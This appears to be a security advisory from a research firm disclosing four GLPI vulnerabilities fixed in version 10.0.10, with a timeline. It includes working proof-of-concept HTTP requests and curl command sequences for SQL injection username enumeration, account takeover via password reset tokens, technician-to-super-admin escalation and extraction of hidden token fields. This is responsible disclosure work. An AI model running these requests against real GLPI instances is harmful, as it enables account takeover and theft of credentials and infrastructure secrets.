Multiple vulnerabilities in GLPI
31/10/2023 - Téléchargement
Product
GLPI
Severity
High
Fixed Version(s)
10.0.10
Affected Version(s)
≤ 10.0.9
CVE Number
CVE-2023-41321, CVE-2023-41322, CVE-2023-41323, CVE-2023-41324
Authors
Description
Presentation
GLPI is an open source solution for IT asset management and help desk.
Issue(s)
Synacktiv discovered several vulnerabilities in GLPI.
One was reachable without authentication:
Other ones require authenticated access to the REST API:
Timeline
Date | Description |
---|---|
2023.08.08 | Advisory sent to glpi-security@ow2.org |
2023.09.06 | The vulnerabilities are assigned CVE-2023-41321, CVE-2023-41322, CVE-2023-41323 and CVE-2023-41324. |
2023.09.25 | GLPI 10.0.10 is released and contain patches for the vulnerabilities. |
2023.09.26 | GLPI advisories are published on GitHub (GHSA-3fxw-j5rj-w836, GHSA-9j8m-7563-8xvr, GHSA-5cf4-6q6r-49x9 and GHSA-58wj-8jhx-jpm3) |
2023.10.31 | Public release |
Technical details
CVE-2023-41323: User login enumeration by unauthenticated user
Description
One feature of the dashboard that is used to visualize user's information is accessible without authentication. The search by name feature could then be used to determine if a username is valid on the platform.
If the username exists, the user is redirected to the same page with the corresponding user ID on the platform:
GET /front/user.form.php?name=glpi HTTP/1.1
Host: glpi.local
HTTP/1.1 302 Found
Date: Fri, 28 Jul 2023 13:45:01 GMT
Server: Apache/2.4.56 (Debian)
Location: /front/user.form.php?id=2
[...]
Meanwhile, if the user does not exist, the user is redirected without the ID:
GET /front/user.form.php?name=synacktiv HTTP/1.1
Host: glpi.local
HTTP/1.1 302 Found
Date: Fri, 28 Jul 2023 13:51:53 GMT
Server: Apache/2.4.56 (Debian)
Location: /front/user.form.php?id=
[...]
This method has however the inconvenient that we need to guess valid usernames in order to have a result.
Indeed, the underlying SQL request is:
SELECT `id` FROM `glpi_users` WHERE `name` = 'synacktiv'
After further analysis, it was observed that the type of the name
parameter was not checked in the PHP code. Thus, it is possible to perform an SQL injection in the WHERE
clause by using a PHP array to insert an additional LIKE
clause:
GET /front/user.form.php?name[0]=LIKE&name[1]=n% HTTP/1.1
Host: glpi.local
HTTP/1.1 302 Found
Date: Fri, 28 Jul 2023 14:48:21 GMT
Server: Apache/2.4.56 (Debian)
Location: /front/user.form.php?id=5
[...]
The corresponding request is:
SELECT `id` FROM `glpi_users` WHERE `name` LIKE 'n%'
From that point, it is possible to simply iterate through characters to extract all valid usernames from the application.
Impact
By exploiting this vulnerability, attackers could guess valid usernames on the web server. Depending on their ability to find a valid password, they could then obtain authenticated access to the GLPI instance.
CVE-2023-41324: Account takeover through the REST API
Description
An authenticated user with read access to users resources can use the API to read the password_forget_token
attribute of any user, and can therefore take over other user accounts. To execute such a scenario, the password reset feature and the REST API must be activated.
$ curl http://glpi.local/apirest.php/initSession -H 'Authorization: user_token evX[...]DFX'
{"session_token":"icrpmi52897olep7vs00585l4u"}
$ curl http://glpi.local/apirest.php/getMyProfiles -H 'Session-Token: icrpmi52897olep7vs00585l4u'
{"myprofiles":[{"id":2,"name":"Observer","entities":[{"id":0,"name":"Root entity","is_recursive":1}]}]}
$ curl -s http://glpi.local/apirest.php/User/?expand_dropdowns=true -H 'Session-Token: icrpmi52897olep7vs00585l4u' | jq -r '.[] | select(.authtype ==1 ) | [.id, .name] | @csv'
2,"glpi"
3,"post-only"
4,"tech"
5,"normal"
6,"glpi-system"
$ curl -s http://glpi.local/apirest.php/UserEmail/ -H 'Session-Token: icrpmi52897olep7vs00585l4u' | jq -r '.[] | select(.users_id == 2) | .email'
glpi@localhost.com
$ curl http://glpi.local/apirest.php/lostPassword -X PUT -H 'Content-Type: application/json' -d '{"email": "glpi@localhost.com"}'
["If the given email address match an exisiting GLPI user, you will receive an email containing the informations required to reset your password. Please contact your administrator if you do not receive any email."]
$ curl -s http://glpi.local/apirest.php/User/?expand_dropdowns=true -H 'Session-Token: icrpmi52897olep7vs00585l4u' | jq -r '.[] | select(.name == "glpi") | .password_forget_token'
c2a33864c0d241e3e1d11151f288b1e1723dcf1a
$ curl http://glpi.local/apirest.php/lostPassword -X PUT -H 'Content-Type: application/json' -d '{"email": "glpi@localhost.com", "password_forget_token": "c2a33864c0d241e3e1d11151f288b1e1723dcf1a", "password": "FullyHacked"}'
["Reset password successful."]
Impact
Any authenticated user with read access on users resources could elevate its privileges by impersonating an account with more privileges. The targeted account must have an email address and must use the internal authentication scheme in order to use the password reset feature. Thus, SSO users are not affected by this attack.
Once in possession of administrator privileges, an attacker will have access to all tickets, inventories and linked machines if agents were installed in order to run some jobs.
CVE-2023-41322: Privilege escalation from technician to super-admin
Description
From a technician
access, it is possible to edit user attributes on the API. As a consequence, sensitive attributes such as email
, api_token
and personal_token
can be edited to take over a highly privileged account.
$ curl http://glpi.local/apirest.php/initSession -H 'Authorization: user_token 2x4PfCJ90EHkTlEyGm8c6gWRXzbCx5v2rhW9awmj'
{"session_token":"i8nnlgr4scmh2bg4hm1h29q9tt"}
$ curl http://glpi.local/apirest.php/getMyProfiles -H 'Session-Token: i8nnlgr4scmh2bg4hm1h29q9tt'
{"myprofiles":[{"id":6,"name":"Technician","entities":[{"id":0,"name":"Root entity","is_recursive":1}]}]}
$ curl http://glpi.local/apirest.php/UserEmail/ -X PUT -H 'Content-Type: application/json' -H 'Session-Token: i8nnlgr4scmh2bg4hm1h29q9tt' -d '{"input": {"id":2, "email": "synacktiv@localhost.com"}}'
[{"2":true,"message":""}]
$ curl http://glpi.local/apirest.php/User/ -X PUT -H 'Content-Type: application/json' -H 'Session-Token: i8nnlgr4scmh2bg4hm1h29q9tt' -d '{"input": {"id":2, "api_token": "abcdef"}}'
[{"2":true,"message":""}]
$ curl http://glpi.local/apirest.php/User/ -X PUT -H 'Content-Type: application/json' -H 'Session-Token: i8nnlgr4scmh2bg4hm1h29q9tt' -d '{"input": {"id":2, "personal_token": "ghijkl"}}'
[{"2":true,"message":""}]
For each call, the API responds with the ID of the modified user and the true
value, meaning that the modification was successful.
We can confirm that we can connect with the stolen account with:
$ curl http://glpi.local/apirest.php/initSession -H 'Authorization: user_token abcdef'
{"session_token":"suip36qdkvbiav1a9a1q6mk6dr"}
$ curl -k http://glpi.local/apirest.php/getMyProfiles -H 'Session-Token: suip36qdkvbiav1a9a1q6mk6dr'
{"myprofiles":[{"id":4,"name":"Super-Admin","entities":[{"id":0,"name":"Root entity","is_recursive":1}]}]}
Impact
A user having the technician
profile could generate a personal token, an API token or an email address for a super-admin
user. Using such credentials, it is possible to negotiate a GLPI session and impersonate the super-admin
account, resulting in a privilege escalation.
Once in possession of administrator privileges, an attacker will have access to all tickets, inventories and linked machines if agents are installed in order to run jobs.
CVE-2023-41321: Sensitive fields enumeration through the REST API
Description
GLPI has defined some blacklists on most of its PHP classes so that users cannot read some attributes through the API. For example, the following attributes of the User
class are restricted to prevent account takeover:
class User extends CommonDBTM
{
[...]
public static $rightname = 'user';
public static $undisclosedFields = [
'password',
'personal_token',
'api_token',
'cookie_token',
];
[...]
However, when investigating the API, it was observed that one feature can be used to inject arbitrary column names in SELECT
queries, thus bypassing this security measure. Any authenticated user on the API, even without privileges, can use this feature:
GET /apirest.php/User/?expand_dropdowns=true&searchText[name]=glpi HTTP/1.1
Host: glpi.local
Session-Token: cov8uk73kaqvjqp6ddli2a0g0l
HTTP/1.1 200 OK
Server: Apache/2.4.56 (Debian)
Access-Control-Expose-Headers: content-type, content-range, accept-range
Accept-Range: User 1000
Content-Type: application/json; charset=UTF-8
[{"id":2,"name":"glpi","password_last_update":null,"phone":null,"phone2":null,"mobile":null,"realname":null,
[...]
The underlying SQL request is the following:
SELECT DISTINCT `glpi_users`.`id`, `glpi_users`.* FROM `glpi_users` LEFT JOIN `glpi_profiles_users` ON (`glpi_users`.`id` = `glpi_profiles_users`.`users_id` ) WHERE 1=1 AND `glpi_users`.`is_deleted` = 0 AND (`glpi_users`.`name` LIKE '%glpi%' ) ORDER BY `id` ASC LIMIT 0, 20
Since we control arbitrary columns and can give a value that will be inserted in a LIKE
clause, it is then possible to extract undisclosed fields from the database.
GET /apirest.php/User/?expand_dropdowns=true&searchText[api_token]=abc HTTP/1.1
Host: glpi.local
Session-Token: cov8uk73kaqvjqp6ddli2a0g0l
We can see that the undisclosed column is indeed processed by the database in the corresponding request:
SELECT DISTINCT `glpi_users`.`id`, `glpi_users`.* FROM `glpi_users` LEFT JOIN `glpi_profiles_users` ON (`glpi_users`.`id` = `glpi_profiles_users`.`users_id` ) WHERE 1=1 AND `glpi_users`.`is_deleted` = 0 AND (`glpi_users`.`api_token` LIKE '%abc%' ) ORDER BY `id` ASC LIMIT 0, 20
And that we indeed have a valid response from the server:
HTTP/1.1 200 OK
Server: Apache/2.4.56 (Debian)
Access-Control-Expose-Headers: content-type, content-range, accept-range
Accept-Range: User 1000
Content-Type: application/json; charset=UTF-8
[{"id":2,"name":"glpi","password_last_update":null,"phone":null,"phone2":null,"mobile":null,"realname":null,
[...]
It is then possible to extract those fields and steal another account or access sensitive columns for all classes accessible through the API.
Impact
Users without privileges could retrieve sensitive attributes values that were normally not reachable from the API due to the undisclosedFields
variable. They could then retrieve personal tokens or hashed passwords, granting them the ability to impersonate a super-admin
account. Moreover, this vulnerability could permit the retrieval of key infrastructure secrets, like proxy, SMTP or LDAP bind account passwords.
Once in possession of administrator privileges, an attacker will have access to all tickets, inventories and linked machines if agents are installed in order to run jobs. With the infrastructure credentials, they could also move laterally on the network and compromise other assets.